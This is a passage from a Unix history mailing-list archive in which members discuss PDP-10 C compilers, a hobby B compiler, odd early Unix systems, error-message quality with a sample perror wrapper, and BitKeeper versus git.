address bits, but in fact, this wasn't true: the hardware looked
in both halves and would return data from the "wrong half" if it
was still present there.  (It would only store *new* cache entries
in the correct half, so if you did eager flush it would work the
same way, but if you did lazy flush like we did, well...)

There was also an ALU forwarding bug.  If you took a trap, and in
the trap handler, computed values in the right (wrong) order, a
register could get the wrong result stored in it.  This only
happened after traps, but I proved it using a software trap.  It
was hitting my interrupt handler about 1 out of every few hundred
thousand times (resulting in kernel panic); using the software trap
I could see it less dramatically, and prove that re-ordering the
instructions or adding a NOP in the pipeline would fix it.

Chris


From clemc at ccc.com  Tue Sep 19 06:10:02 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 18 Sep 2017 16:10:02 -0400
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <7wshfj4w3k.fsf@junk.nocrew.org>
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
 <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
 <7wk20x5py1.fsf@junk.nocrew.org>
 <751d6686-0620-9a9a-9055-55538e913fa5@kilonet.net>
 <CAC20D2O1_qteChioos=Kgt0aq1YCxpbNR7eAHW1PUWqox=LUKQ@mail.gmail.com>
 <7wshfj4w3k.fsf@junk.nocrew.org>
Message-ID: <CAC20D2NNjEaN3=QkwyaNUMCOgbGuFfs5=TY-Avv9pNP2CB1fxQ@mail.gmail.com>

I thought there was a copy on ITS at one point.  You tell me.   I know it
was at CMU as I used it there.   Many/Most of the compilers we had we also
at Stanford and MIT modulo differences in the OS environments.

Clem

On Mon, Sep 18, 2017 at 3:58 PM, Lars Brinkhoff <lars at nocrew.org> wrote:

> Clem Cole wrote:
> > ​There was a PDP-10 C compiler in the late 1970s, that was kicking
> > around CMU, MIT and Stanford
>
> When you say MIT, do you know if that was at the AI lab (i.e. ITS), or
> elsewhere?
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170918/4b233ca5/attachment.html>

From lars at nocrew.org  Tue Sep 19 06:22:31 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Mon, 18 Sep 2017 20:22:31 +0000
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <CAC20D2NNjEaN3=QkwyaNUMCOgbGuFfs5=TY-Avv9pNP2CB1fxQ@mail.gmail.com>
 (Clem Cole's message of "Mon, 18 Sep 2017 16:10:02 -0400")
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
 <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
 <7wk20x5py1.fsf@junk.nocrew.org>
 <751d6686-0620-9a9a-9055-55538e913fa5@kilonet.net>
 <CAC20D2O1_qteChioos=Kgt0aq1YCxpbNR7eAHW1PUWqox=LUKQ@mail.gmail.com>
 <7wshfj4w3k.fsf@junk.nocrew.org>
 <CAC20D2NNjEaN3=QkwyaNUMCOgbGuFfs5=TY-Avv9pNP2CB1fxQ@mail.gmail.com>
Message-ID: <7wo9q74v08.fsf@junk.nocrew.org>

Clem Cole wrote:
> > > There was a PDP-10 C compiler in the late 1970s, that was kicking
> > > around CMU, MIT and Stanford
> > When you say MIT, do you know if that was at the AI lab (i.e. ITS),
> > or elsewhere?
> I thought there was a copy on ITS at one point. You tell me. I know it
> was at CMU as I used it there. Many/Most of the compilers we had we
> also at Stanford and MIT modulo differences in the OS environments.

In the ITS files from 1990, I have found two C compilers:
- C10 by Alan Snyder,
- and an incomplete port of KCC.

The KCC files seem to be from the late 80s.  Alan Snyders thesis is from
1973 and mentions the PDP-10.  So I wonder C10 if went from MIT to CMU
and Stanford, or if there's some other compiler which came to MIT?


From clemc at ccc.com  Tue Sep 19 06:43:55 2017
From: clemc at ccc.com (Clem cole)
Date: Mon, 18 Sep 2017 16:43:55 -0400
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <7wo9q74v08.fsf@junk.nocrew.org>
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
 <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
 <7wk20x5py1.fsf@junk.nocrew.org>
 <751d6686-0620-9a9a-9055-55538e913fa5@kilonet.net>
 <CAC20D2O1_qteChioos=Kgt0aq1YCxpbNR7eAHW1PUWqox=LUKQ@mail.gmail.com>
 <7wshfj4w3k.fsf@junk.nocrew.org>
 <CAC20D2NNjEaN3=QkwyaNUMCOgbGuFfs5=TY-Avv9pNP2CB1fxQ@mail.gmail.com>
 <7wo9q74v08.fsf@junk.nocrew.org>
Message-ID: <68874C41-DD00-43B0-AA0E-556D5611B054@ccc.com>

I would bet it was the Snyder compiler. 


That makes sense if it's '73.   That would be the Ritchie front end and v5/v6 syntax as I remember 


Sent from my PDP-7 Running UNIX V0 expect things to be almost but not quite. 

> On Sep 18, 2017, at 4:22 PM, Lars Brinkhoff <lars at nocrew.org> wrote:
> 
> Clem Cole wrote:
>>>> There was a PDP-10 C compiler in the late 1970s, that was kicking
>>>> around CMU, MIT and Stanford
>>> When you say MIT, do you know if that was at the AI lab (i.e. ITS),
>>> or elsewhere?
>> I thought there was a copy on ITS at one point. You tell me. I know it
>> was at CMU as I used it there. Many/Most of the compilers we had we
>> also at Stanford and MIT modulo differences in the OS environments.
> 
> In the ITS files from 1990, I have found two C compilers:
> - C10 by Alan Snyder,
> - and an incomplete port of KCC.
> 
> The KCC files seem to be from the late 80s.  Alan Snyders thesis is from
> 1973 and mentions the PDP-10.  So I wonder C10 if went from MIT to CMU
> and Stanford, or if there's some other compiler which came to MIT?


From jnc at mercury.lcs.mit.edu  Tue Sep 19 07:14:19 2017
From: jnc at mercury.lcs.mit.edu (Noel Chiappa)
Date: Mon, 18 Sep 2017 17:14:19 -0400 (EDT)
Subject: [TUHS] PDP-10 UNIX?
Message-ID: <20170918211419.C4C3B18C0B2@mercury.lcs.mit.edu>

    > That makes sense if it's '73.  That would be the Ritchie front end and
    > v5/v6 syntax as I remember=20

Here:

  http://publications.csail.mit.edu/lcs/specpub.php?id=717

is the TR describing it (well, this report covers one by him for the Honeywell
6000 series, but IIRC it's the same compiler). I didn't read the whole thing
slowly, but glancing quickly at it, it sounds like it's possible a 'from
scratch' thing?

	 Noel


From aap at papnet.eu  Tue Sep 19 07:45:16 2017
From: aap at papnet.eu (Angelo Papenhoff)
Date: Mon, 18 Sep 2017 23:45:16 +0200
Subject: [TUHS] B Source Code
In-Reply-To: <CAC20D2NhqnCoGkfQGRpYJBfNDQ-T+7aXMdz02bo3VopZ5Xs-vQ@mail.gmail.com>
References: <CAAFR5paf8aiA1S27gxqXopnZWfE6mBkFVR_7V0yEVL2tQJohHA@mail.gmail.com>
 <CAC20D2OaBDuVj=SZQau8wizW+iKdsdEA74wUtGkVZ8sg_-stqQ@mail.gmail.com>
 <CAC20D2NhqnCoGkfQGRpYJBfNDQ-T+7aXMdz02bo3VopZ5Xs-vQ@mail.gmail.com>
Message-ID: <20170918214516.GA58781@indra.papnet.eu>

On 12/09/17, Clem Cole wrote:
> BTW:  Check out:   ybc: a compiler for B <https://github.com/Leushenko/ybc>
> 

I may me a bit late now, but I would also like to add my B compiler, that
I wrote a few years ago: https://github.com/aap/abc/
I wasn't able to find another B compiler at the time but wanted to run
B code just for fun. I was also studying dmr's C compiler so I took a lot
of inspiration from his code and wrote this (rhe code generation is entirely mine
though, and terribly inefficient).
I haven't compiled it in a while and I suspect it's not as portable as
it should be, but it was only meant as a toy anyway...my first
parser/compiler/language.

I'm still planning to make it output PDP-6/10 code eventually.

aap


From dave at horsfall.org  Tue Sep 19 09:57:56 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Tue, 19 Sep 2017 09:57:56 +1000 (EST)
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
Message-ID: <alpine.BSF.2.21.1709190947410.89458@aneurin.horsfall.org>

On Sun, 17 Sep 2017, Warren Toomey wrote:

> And now, we bring the RMS/Gnu thread to a close :-)

But it was fun while it lasted :-)  I learned a bit.

> To kick a more relevant thread off, what was the "weirdest" Unix system 
> you used & why? Could be an emulation like Eunice, could be the hardware 
> e.g NULL was not zero, NUXI byte ordering etc.

Eunice for certain.  Never seen NULL != 0, but didn't the Interdata boxes 
have the NUXI problem?

And one of the UNSW departments had this 11/34 clone, where the two disk 
packs (one removable) had a common spindle...  I think that was also the 
box where the clock had to be enabled/disabled by a front-panel switch, so 
you disabled it, booted Unix, then hopefully remembered to enable it.

Oh, and if it extends to organic-ware, the UNSW Library's 11/40 had no
password on "root", but had one on "oper"...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From random832 at fastmail.com  Tue Sep 19 10:44:32 2017
From: random832 at fastmail.com (Random832)
Date: Mon, 18 Sep 2017 20:44:32 -0400
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
Message-ID: <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>

On Wed, Sep 13, 2017, at 12:38, Christian Groessler wrote:
> Ever since I got in contact with X11 (around 92/93 with my first Linux 
> and 386BSD installations), I was
> wondering what happened to the previous versions.
> 
> You mention X10. Is there any documentation of source code of it
> available?

X10R3 and R4 are available from xorg at https://www.x.org/releases/


From random832 at fastmail.com  Tue Sep 19 10:52:08 2017
From: random832 at fastmail.com (Random832)
Date: Mon, 18 Sep 2017 20:52:08 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
Message-ID: <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>

On Thu, Sep 14, 2017, at 15:37, Steve Johnson wrote:
> I wrote a paper on error messages at one point.  I had examples from
> bad to best.  In a nutshell (worst to best):
> 
> 	* <program aborts, leaving the world in an unknown state>
> 	* "internal error",  "beta table overflow", "operation failed"
> 	* "Writing the output file failed"
> 	* "File xxx could not be opened for writing."
> 	* "File xxx could not be opened for writing: check the file location
> and permissions"
> 
> 	* "Writing the output file xxx caused an error.  See <link> for
> possible reasons and corrections" 
> 
> Most git messages fall between 2 and 3.  But there are occasional 4's
> and 5's.

Just out of curiosity, where does perror(filename), quite possibly the
*most* common error message on Unix as a whole, fall on your scale? It
says which of the file location or permissions (or whatever else) it is,
but not whether it was attempting to open it for reading or writing.

(Of course, git sometimes has the problem that other cases of a 4 or 5
don't: needing to understand its internal structure to know why it wants
that file and how to fix it.)


From dave at horsfall.org  Tue Sep 19 11:20:25 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Tue, 19 Sep 2017 11:20:25 +1000 (EST)
Subject: [TUHS] B Source Code
In-Reply-To: <fbf3c0c5-e24a-46d0-a245-56559532c963.maildroid@localhost>
References: <20170914133913.178D618C094@mercury.lcs.mit.edu>
 <alpine.BSF.2.21.1709151351010.89458@aneurin.horsfall.org>
 <fbf3c0c5-e24a-46d0-a245-56559532c963.maildroid@localhost>
Message-ID: <alpine.BSF.2.21.1709191118010.89458@aneurin.horsfall.org>

On Fri, 15 Sep 2017, William Pechter wrote:

[ WCS on the 11/60 ]

> I thought Reuters re-microcoded them to be the fastest PDP8 around...

I'd heard that some newspaper house in Australia ordered a bunch, and when 
the contract fell through DEC were stuck with them, so they practically 
gave them away to Universities.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From dave at horsfall.org  Tue Sep 19 11:54:22 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Tue, 19 Sep 2017 11:54:22 +1000 (EST)
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <201709180831.v8I8V6LB021088@freefriends.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <20170917144909.DB27FA585CB@yagi.h-net.msu.edu>
 <CACCFpdwD4jAx69MqQ1QdT7GRuKMbVVOBjvMLbMHgu2GSRcy7rQ@mail.gmail.com>
 <201709180831.v8I8V6LB021088@freefriends.org>
Message-ID: <alpine.BSF.2.21.1709191146190.89458@aneurin.horsfall.org>

On Mon, 18 Sep 2017, arnold at skeeve.com wrote:

> That Pr1me had a Unix emulation layer is news to me (I think). I worked 
> on the Georgia Tech Software Tools Subsystem for Pr1me Computers for 
> several years. (Oh, how I wish I had saved that last release tape!!!)

What I hated about Pr1me was they implied that "1" is prime; it is not, as 
any mathematician will tell you.

In fact, I turned down a job opportunity there for precisely that reason, 
on the grounds that if they got a simple concept like that wrong, then 
where else did they screw up?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From lm at mcvoy.com  Tue Sep 19 12:50:31 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Mon, 18 Sep 2017 19:50:31 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
Message-ID: <20170919025031.GA25650@mcvoy.com>

On Mon, Sep 18, 2017 at 08:52:08PM -0400, Random832 wrote:
> On Thu, Sep 14, 2017, at 15:37, Steve Johnson wrote:
> > I wrote a paper on error messages at one point.?? I had examples from
> > bad to best.?? In a nutshell (worst to best):
> > 
> > 	* <program aborts, leaving the world in an unknown state>
> > 	* "internal error",?? "beta table overflow", "operation failed"
> > 	* "Writing the output file failed"
> > 	* "File xxx could not be opened for writing."
> > 	* "File xxx could not be opened for writing: check the file location
> > and permissions"
> > 
> > 	* "Writing the output file xxx caused an error.?? See <link> for
> > possible reasons and corrections" 
> > 
> > Most git messages fall between 2 and 3.?? But there are occasional 4's
> > and 5's.
> 
> Just out of curiosity, where does perror(filename), quite possibly the
> *most* common error message on Unix as a whole, fall on your scale? It
> says which of the file location or permissions (or whatever else) it is,
> but not whether it was attempting to open it for reading or writing.

So in the BitKeeper source, perror is redifined to my_perror which is
this:

void    
my_perror(char *file, int line, char *msg)
{
        char    *p = 0;
        int     save = errno;

        if (p = getenv("_BK_VERSION")) {
                if (strneq(p, "bk-", 3)) p += 3;
                fprintf(stderr, "%s:%d (%s): ", file, line, p);
        } else {
                fprintf(stderr, "%s:%d: ", file, line);
        }
        if (p = strerror(errno)) {
                fprintf(stderr, "%s: %s\n", msg, p);
        } else {
                fprintf(stderr, "%s: errno=%d\n", msg, errno);
        }
        errno = save;   
}

libc should do that.


From gregg.drwho8 at gmail.com  Tue Sep 19 12:56:51 2017
From: gregg.drwho8 at gmail.com (Gregg Levine)
Date: Mon, 18 Sep 2017 22:56:51 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919025031.GA25650@mcvoy.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
Message-ID: <CAC5iaNGLUihCdX=EK-ePGqk3O=zDziA6LNmUd9GvTqSwrbtoiw@mail.gmail.com>

Hello!
Larry, back when I was a serious Kernel Hacker, I actually obtained
the appropriate release of Bitkeeper for grabbing the raw source code
for the kernel that Linus wrote.

I found it much easier to use then what is in use now. Its few errors
thrown in my direction were easier to understand then the many thrown
at me by the current tool. And here's a hint, even his Foundation and
my current distribution author, does not like it much.

And I remember meeting a DG system running a release of DG/UX, suffice
to say I wasn't happy. I found that the SUN systems running either
early Solaris or SUNos were easier to get along with. I can;t recall
outside of the VCF East event if I've seen a Tek graphics terminal
before........
-----
Gregg C Levine gregg.drwho8 at gmail.com
"This signature fought the Time Wars, time and again."


On Mon, Sep 18, 2017 at 10:50 PM, Larry McVoy <lm at mcvoy.com> wrote:
> On Mon, Sep 18, 2017 at 08:52:08PM -0400, Random832 wrote:
>> On Thu, Sep 14, 2017, at 15:37, Steve Johnson wrote:
>> > I wrote a paper on error messages at one point.?? I had examples from
>> > bad to best.?? In a nutshell (worst to best):
>> >
>> >     * <program aborts, leaving the world in an unknown state>
>> >     * "internal error",?? "beta table overflow", "operation failed"
>> >     * "Writing the output file failed"
>> >     * "File xxx could not be opened for writing."
>> >     * "File xxx could not be opened for writing: check the file location
>> > and permissions"
>> >
>> >     * "Writing the output file xxx caused an error.?? See <link> for
>> > possible reasons and corrections"
>> >
>> > Most git messages fall between 2 and 3.?? But there are occasional 4's
>> > and 5's.
>>
>> Just out of curiosity, where does perror(filename), quite possibly the
>> *most* common error message on Unix as a whole, fall on your scale? It
>> says which of the file location or permissions (or whatever else) it is,
>> but not whether it was attempting to open it for reading or writing.
>
> So in the BitKeeper source, perror is redifined to my_perror which is
> this:
>
> void
> my_perror(char *file, int line, char *msg)
> {
>         char    *p = 0;
>         int     save = errno;
>
>         if (p = getenv("_BK_VERSION")) {
>                 if (strneq(p, "bk-", 3)) p += 3;
>                 fprintf(stderr, "%s:%d (%s): ", file, line, p);
>         } else {
>                 fprintf(stderr, "%s:%d: ", file, line);
>         }
>         if (p = strerror(errno)) {
>                 fprintf(stderr, "%s: %s\n", msg, p);
>         } else {
>                 fprintf(stderr, "%s: errno=%d\n", msg, errno);
>         }
>         errno = save;
> }
>
> libc should do that.


From lm at mcvoy.com  Tue Sep 19 13:37:45 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Mon, 18 Sep 2017 20:37:45 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CAC5iaNGLUihCdX=EK-ePGqk3O=zDziA6LNmUd9GvTqSwrbtoiw@mail.gmail.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <CAC5iaNGLUihCdX=EK-ePGqk3O=zDziA6LNmUd9GvTqSwrbtoiw@mail.gmail.com>
Message-ID: <20170919033745.GD25650@mcvoy.com>

On Mon, Sep 18, 2017 at 10:56:51PM -0400, Gregg Levine wrote:
> Hello!
> Larry, back when I was a serious Kernel Hacker, I actually obtained
> the appropriate release of Bitkeeper for grabbing the raw source code
> for the kernel that Linus wrote.
> 
> I found it much easier to use then what is in use now. Its few errors
> thrown in my direction were easier to understand then the many thrown
> at me by the current tool. 

yeah, git suffers from the Not Unix problem that Linux has.  There is a
lot of value in the Unix approach which is, in my opinion, fairly terse.
Do a little but do it right.  Don't go crazy with every option that
every well intentioned person wants, do the subset that is what people
truly want even if they don't realize it.

I know it doesn't matter at this point, git won, but BitKeeper is open
source under the very liberal Apache license (and if you don't like
that one for a good reason I can rerelease under a different license)
and there is a ton of useful stuff in there that has nothing to do with
source management.  Most of perl/lisp is in there, cross platform stuff
that includes windows is in there, some pretty amazing stdio work that I
wish Chris Torek would suck back into NetBSD is in there, and BK itself
is pretty sweet.  I routinely do

	git -C git-repo fast-export master | bk fast-import bk-repo

so I can look at the source with BK tools.  BK differs from git in many
ways, but to you Unix people, BK has the inode concept.  There is a
thing that is a file, it doesn't care where it lives, the pathname is
an attribute of the file, just like the changes are.  Git doesn't have a
file concept, no inode for you.  So no create/unlink/rename, Git doesn't
have those, BitKeeper does.  In practice that hurts, sometimes a lot,
in a big repo git blame is useless because it is so slow, bk's blame
runs in milliseconds.

And can we talk about merges?  Git has one graph for the entire
repository.  BitKeeper has a graph for each inode.  So when Git goes
to merge it's going to use the GCA for the repository for everything.
BitKeeper uses the GCA for the file which is always a better choice.
And BK uses a ton more info, go read the code, it's cool, way better
than diff3.

I weep when I look at Git.  It's just crap yet that is what the world
uses.  It's exactly what I predicted when I was arguing with the FSF,
if you want everything to be free then what you will get is substandard
stuff.	Not all the time but most of the time.

Part of the reason I love this list is it is full of people who were
careful, they cared about the code (look at the good taste thread) and
they cared about regressions, they cared that people could understand
what they did.	(And, for the record, I just love love love the stories
about the history, Mr Yacc has some great ones, Clem has great ones,
all you guys rock when you are talking about how you made something work.)

While I use Linux, I yearn for the days where you guys and the SunOS
guys were carefully, very carefully, creating a decent system that had
an architecture that you could see if you looked hard enough.  Unix
had that, I'm not sure Linux and friends does.

--lm

If you want the BK source it's at bitkeeper.org


From lars at nocrew.org  Tue Sep 19 16:46:44 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Tue, 19 Sep 2017 06:46:44 +0000
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <20170918211419.C4C3B18C0B2@mercury.lcs.mit.edu> (Noel Chiappa's
 message of "Mon, 18 Sep 2017 17:14:19 -0400 (EDT)")
References: <20170918211419.C4C3B18C0B2@mercury.lcs.mit.edu>
Message-ID: <7wd16n423v.fsf@junk.nocrew.org>

Noel Chiappa writes:
> > That makes sense if it's '73.  That would be the Ritchie front end
> > and v5/v6 syntax as I remember=20
>
> Here:
>
>   http://publications.csail.mit.edu/lcs/specpub.php?id=717
>
> is the TR describing it (well, this report covers one by him for the
> Honeywell 6000 series, but IIRC it's the same compiler).

It mentions a PDP-10 version on page 5.

> I didn't read the whole thing slowly, but glancing quickly at it, it
> sounds like it's possible a 'from scratch' thing?

That's my impression.  Various places claim this compiler was an
inspiration for PCC.  Also, Snyder was the one to suggest a preprocessor
and the && and || operators.

I'm in touch with someone who has the source code for the compiler, but
we can't release it to the public without consent from Alan.


From lars at nocrew.org  Tue Sep 19 16:52:37 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Tue, 19 Sep 2017 06:52:37 +0000
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919033745.GD25650@mcvoy.com> (Larry McVoy's message of
 "Mon, 18 Sep 2017 20:37:45 -0700")
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <CAC5iaNGLUihCdX=EK-ePGqk3O=zDziA6LNmUd9GvTqSwrbtoiw@mail.gmail.com>
 <20170919033745.GD25650@mcvoy.com>
Message-ID: <7w8thb41u2.fsf@junk.nocrew.org>

Larry McVoy wrote:
> BitKeeper is open source under the very liberal Apache license [...]
> and there is a ton of useful stuff in there that has nothing to do
> with source management.  Most of perl/lisp is in there

Just curious, what Lisp is in there?


From itz at very.loosely.org  Tue Sep 19 17:07:44 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Tue, 19 Sep 2017 00:07:44 -0700
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <alpine.BSF.2.21.1709191146190.89458@aneurin.horsfall.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <20170917144909.DB27FA585CB@yagi.h-net.msu.edu>
 <CACCFpdwD4jAx69MqQ1QdT7GRuKMbVVOBjvMLbMHgu2GSRcy7rQ@mail.gmail.com>
 <201709180831.v8I8V6LB021088@freefriends.org>
 <alpine.BSF.2.21.1709191146190.89458@aneurin.horsfall.org>
Message-ID: <20170919070744.abg4vw7xdqssqhxb@matica.foolinux.mooo.com>

On 2017-09-19 11:54, Dave Horsfall wrote:

> > That Pr1me had a Unix emulation layer is news to me (I think). I
> > worked on the Georgia Tech Software Tools Subsystem for Pr1me
> > Computers for several years.  (Oh, how I wish I had saved that last
> > release tape!!!)
> 
> What I hated about Pr1me was they implied that "1" is prime; it is
> not, as any mathematician will tell you.

It's not a composite, either.  And there are already many cases where
you have to say "let p be an _odd_ prime" because the statement fails
for p=2, so many that maybe allowing 1 in (and having to explain it away
in many more theorems) is not much worse that having it in a special
weird category of its own.

It's just terminology.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From itz at very.loosely.org  Tue Sep 19 17:22:14 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Tue, 19 Sep 2017 00:22:14 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919025031.GA25650@mcvoy.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
Message-ID: <20170919072214.xcoxucuznd7q3eak@matica.foolinux.mooo.com>

On 2017-09-18 19:50, Larry McVoy wrote:

> So in the BitKeeper source, perror is redifined to my_perror which is
> this:
> 
> void    
> my_perror(char *file, int line, char *msg)

That is a different signature from perror, so I presume you mean you did
something along the lines of

#define perror(s) (my_perror(__FILE__, __LINE__, (s)))

Since this must obviously be a macro, I'm not sure I want it in libc;
macros are messy.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From mutiny.mutiny at rediffmail.com  Tue Sep 19 19:06:26 2017
From: mutiny.mutiny at rediffmail.com (Mutiny )
Date: 19 Sep 2017 09:06:26 -0000
Subject: [TUHS] =?utf-8?q?PDP-10_UNIX=3F?=
In-Reply-To: <7wshfj4w3k.fsf@junk.nocrew.org>
Message-ID: <1505764753.S.4536.30148.f4-234-168.1505811986.23722@webmail.rediffmail.com>

there is a video on youtube about its &amp; c-language demonstrating teco-&#39;emacs&#39;&nbsp; and the c-compiler.From: Lars Brinkhoff &lt;lars at nocrew.org&gt;Sent: Tue, 19 Sep 2017 01:29:13To: Clem Cole &lt;clemc at ccc.com&gt;Cc: TUHS main list &lt;tuhs at minnie.tuhs.org&gt;Subject: Re: [TUHS] PDP-10 UNIX?Clem Cole wrote:&gt; ​There was a PDP-10 C compiler in the late 1970s, that was kicking&gt; around CMU, MIT and StanfordWhen you say MIT, do you know if that was at the AI lab (i.e. ITS), orelsewhere?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170919/ab3bf4f4/attachment.html>

From lars at nocrew.org  Tue Sep 19 19:56:06 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Tue, 19 Sep 2017 09:56:06 +0000
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <1505764753.S.4536.30148.f4-234-168.1505811986.23722@webmail.rediffmail.com>
 (Mutiny's message of "19 Sep 2017 09:06:26 -0000")
References: <1505764753.S.4536.30148.f4-234-168.1505811986.23722@webmail.rediffmail.com>
Message-ID: <7wvakf2ert.fsf@junk.nocrew.org>

Mutiny writes:
> Clem Cole wrote:
>> ​There was a PDP-10 C compiler in the late 1970s, that was kicking
>> around CMU, MIT and Stanford
>
> there is a video on youtube about its & c-language demonstrating teco-'emacs'
> and the c-compiler.

Yes.  I have talked to the person who made it.

https://www.youtube.com/watch?v=zF-vy8b4r-Y

He also made two more about other parts of ITS, but I guess that's too
far outside the scope of this mailing list.  (So why did I write this?
Can't help myself!)


From nw at retrocomputingtasmania.com  Tue Sep 19 20:30:49 2017
From: nw at retrocomputingtasmania.com (Nigel Williams)
Date: Tue, 19 Sep 2017 20:30:49 +1000
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
Message-ID: <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>

Is the forerunner of X, I think called W? still around somewhere in source-form?


From david at kdbarto.org  Tue Sep 19 21:53:32 2017
From: david at kdbarto.org (David)
Date: Tue, 19 Sep 2017 04:53:32 -0700
